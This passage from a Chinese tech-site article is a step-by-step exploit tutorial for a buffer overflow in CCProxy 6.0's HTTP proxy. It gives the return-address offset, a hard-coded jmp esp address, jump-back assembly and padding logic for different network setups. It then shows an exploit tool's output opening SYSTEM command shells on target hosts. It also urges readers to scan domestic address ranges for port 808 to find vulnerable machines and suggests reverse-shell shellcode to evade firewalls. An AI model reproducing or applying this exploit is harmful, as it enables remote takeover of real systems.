扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
在本页阅读全文(共2页)
漏洞利用
要利用漏洞,就要找到覆盖返回地址的字符串偏移。我们可以通过发送AAAABBBBCCCCDDD……这样的组合字符串看到底是哪里覆盖了返回地址。经过一番分析,得知在4056的偏移处恰好覆盖了函数返回地址。所以我们这样来设计溢出字符串:
GET /AAAA….|shellcode|jmp esp|jmp back| HTTP/1.0
其中“AAAA……”这样的字符串是为了在执行ShellCode之前腾出足够的空间,因为字母A所对应的CPU指令是INC ECX,即一条无实际作用的指令,相当于传统的NOP指令,但是它比NOP指令的好处在于它是可显示的字符,不易导致错误。而ShellCode是一个普通开端口的ShellCode,对其中的字符无任何特殊要求。Jmp esp是一个包含Jmp esp指令的地址,把它作为覆盖函数的返回地址,这样当函数返回的时候就会跳到这个地址去执行Jmp esp指令,因为此时的ESP恰好指向函数返回地址后面的地址,即随后的Jmp back指令。这个指令是一串跳转指令,用来跳过Jmp esp地址和ShellCcode,执行到前面的AAAA……,即NOP指令,以便最后执行到shellcode当中。这里我们要选用一个比较通用的 jmp esp地址,如果是系统DLL中的Jmp esp地址,可能会随系统打了不同的SP而有不同的地址,所以我们选择0x7ffa54cd这样的地址,它在同一类Windows系统(例如中文版 Windows 2000)当中是固定的。Jmp Back指令我们用这样的汇编指令:
mov ecx,25414141h ;把ECX设为0x25414141
shr ecx,14h ;把ECX右移0x14位,让ECX变为0x254
sub esp,ecx ;把ESP减去0x254
jmp esp ;跳到此时的ESP去
这样把ESP减去0x254就可以跳过前面的返回地址和ShellCode,这样一来就能够恰好跳到shellcode前面的NOP指令去执行了。
这样设计好溢出串,并编写程序保证jmp esp恰好覆盖返回地址,发送,果然溢出成功,并开出了shellcode指定的端口。这样exploit是不是就算是完成了呢?于是我到外网找了一个安装了CCProxy的肉鸡试了一下,可是没有成功。奇怪了,问题究竟出在哪里呢?
经过仔细分析发现,由于溢出是按照“[日期] 内容”的格式拷贝到字符串当中导致的,其中“内容”部分的格式是这样的:
客户端IP地址<空格>unknown<空格>Web<空格>HTTP请求
其中unknown和Web都是固定长度的字符串,HTTP请求是我们所能控制的字符串。但是这里存在一个问题,就是客户端IP地址是我们无法控制的字符串,它的长度是不固定的,这样一来,不同长度的客户端IP地址就会导致不同的溢出点,这样也就可能无法成功的溢出了。怎样解决这个问题呢?我们虽然无法控制客户端IP地址的字符串长度,但是我们可以得到这个字符串的长度,并且在我们所能控制的HTTP请求当中补齐这个长度,让我们发送的Jmp esp地址始终覆盖在函数返回地址上面。
而客户端IP地址可能根据不同网络结构而分为三种情况:
? 如果攻击者和攻击目标在同一个网段(即中间不经过网关),那么客户端IP地址就是攻击者主机的IP地址。
? 如果攻击者和攻击目标不在同一个网段上(即中间经过网关),但是攻击者的主机有真实的IP地址。那么客户端IP地址也是攻击者主机的IP地址。
? 如果攻击者和攻击目标不在同一个网段上(即中间经过网关),而且攻击者的主机没有真实的IP地址。例如攻击者在内网,而攻击目标主机在外网,那么客户端IP地址就是攻击者的网关的外部IP地址。
知道了这三种情况之后,我们就可以动手改进刚才的Exploit程序了。首先要取出本机的IP地址,可以通过调用Socket函数Gethostname ()先取得获取本机名,然后通过调用Gethostbyname()来得到本机IP地址的十六进制数值,最后利用Inet_ntoa()把这个数值转换为字符串。这样就解决了前两种情况的客户端IP地址,那么对于第三种本机和目标主机不在同一网段的情况又怎么办呢?用程序实现自动取网关外部IP地址好像稍微麻烦了点,我懒得写这样的程序了,干脆由用户自己来输入算了,怎么得到你的网关外部IP地址就不用我来教了吧,应该是不难的,有些网站的论坛甚至都会直接显示出你的IP地址,那就是你网关的IP地址。
TIPS:利用网关实现溢出攻击还是第一次看到具体的例子,它们的网络通讯是如何建立的?数据传输是怎么进行的?有兴趣的朋友可以考虑一下,尝试利用这个过程做点事情,相信你会有更都的发现。
漏洞攻击程序使用方法
我用前面提到的方法写了一个Exploit程序,按照“ccpx <目标IP> [端口]”这样的格式来使用,其中目标IP就是你要攻击的安装了CCProxy的机器的IP地址,端口是目标IP上的CCProxy的HTTP代理端口,这个端口默认是808,但是可能会更改。
然后程序会提示你“本主机IP是否与目标主机IP在同一个网段?”,因为前面提到原因,所以要采取两种不同的溢出字符串,如果你的机器和目标主机在同一个网段上,那你就选择Y,如果不在同一网段就选N。如果你选择了Nn,程序还会询问你“本主机有没有真实外网IP地址?”,也就是说你的机器是在内网还是外网,有没有真实IP地址,如果有就选Y,没有则选N。如果这次你又选择了N,那么程序会要求你输入本主机所属网关的外部IP地址,这个地址需要你自己想办法得到,要得到它也并不困难。输入之后就会成功发送溢出串,并自动连接ShellCode所开出的 24876端口,如果成功的话,就会出现系统权限的CMD.EXE命令行了。
如果你的机器和目标主机在同一个网段上面那就简单了,直接在第一步选Y就可以攻击成功。如果你的机器虽然和目标主机不在同一个网段上面,但是确有真实IP地址,那就在第二步选Y。
三种不同情况的具体攻击过程如下:
1.你的机器和目标主机在同一个网段上:
D:\Soft\ccx\ccpx\Debug>ccpx 192.168.0.103
本主机IP是否与目标主机IP在同一个网段?[y/n]y
[+] connecting to 192.168.0.103:808
[+] send magic buffer...
[+] connecting to CMD shell port...
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:\Documents and Settings\Administrator> exit
exit
[-] Connection closed.
2.你的机器虽然和目标主机不在同一个网段上面,但是有真实IP地址:
D:\Soft\ccx\ccpx\Debug>ccpx 202.xxx.xxx.xxx
本主机IP是否与目标主机IP在同一个网段?[y/n]n
本主机有没有真实外网IP地址? [y/n]y
[+] connecting to 202.xxx.xxx.xxx:808
[+] send magic buffer...
[+] connecting to CMD shell port...
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:\Documents and Settings\Administrator>exit
exit
[-] Connection closed.
3.你的机器在内网,而攻击目标主机在外网:
D:\Soft\ccx\ccpx\Debug>ccpx 210.xxx.xxx.xxx
本主机IP是否与目标主机IP在同一个网段?[y/n]n
本主机有没有真实外网IP地址? [y/n]n
请输入本主机所属网关的外部IP地址: 202.xx.xx.xx ←在这里输入是你网关的外部IP地址
[+] connecting to 210.xxx.xxx.xxx:808
[+] send magic buffer...
[+] connecting to CMD shell port...
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:\Documents and Settings\Administrator>exit
exit
[-] Connection closed.
我这个程序里面的Jmp esp地址是中文版Windows 2000中的地址,在其他版本的操作系统中可能会有所不同,需要读者自己修改。
TIPS:由于这个ShellCode里面采用了直接开端口的方法,所以如果读者朋友的攻击目标上有防火墙的话,可能会导致攻击不成功。这种情况你需要更改isno程序中的ShellCode,把它替换成反向连接的ShellCode再重新编译一遍就行了。具体方法请关注最近几期“新手学溢出”栏目。
前面提到的这种根据不同网络情况来填充不同个数的A,从而把Jmp esp地址推到函数返回地址的方法是不是最好的方法呢?我觉得可能还有更好的方法,也许利用Sprintf函数的一些内部特性就可以不用这样而写出通用的利用程序了,但是我没时间去研究这个了,如果读者有兴趣的话可以自己研究一下,如果研究出来,这也算是一项很实用的通用Exploit技术。
后来研究发现CCProxy不仅仅HTTP代理存在溢出问题,Telnet代理等一些其他调用日志函数的端口也存在同样的问题,攻击方法类似,这里就不再详细分析了。另外,CCProxy 5.x以及以前的版本虽然也存在此漏洞,但是构造字符串的方法略有不同,因此这个Exploit程序无法成功的攻击CCProxy 5.x以及以前的版本,只能攻击CCProxy 6.0。读者可以自己研究一下老版本的CCProxy,并写出Exploit程序。
结束语
这个漏洞虽然不是Windows操作系统本身的漏洞,但是CCProxy在国内还算一个比较常用的软件,因此还是有一些利用价值的。不信你可以用Super Scan之类的端口扫描器扫描国内网段的TCP 808端口,很多时候都能找到安装了CCProxy的机器。
其实写这篇文章的目的并不是教大家去利用这个漏洞黑机器,而是告诉大家一个软件漏洞从发现到跟踪调试到最后写Exploit程序的过程是怎样的,也许你也能用这种方法找到一些其它的漏洞。
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。
现场直击|2021世界人工智能大会
直击5G创新地带,就在2021MWC上海
5G已至 转型当时——服务提供商如何把握转型的绝佳时机
寻找自己的Flag
华为开发者大会2020(Cloud)- 科技行者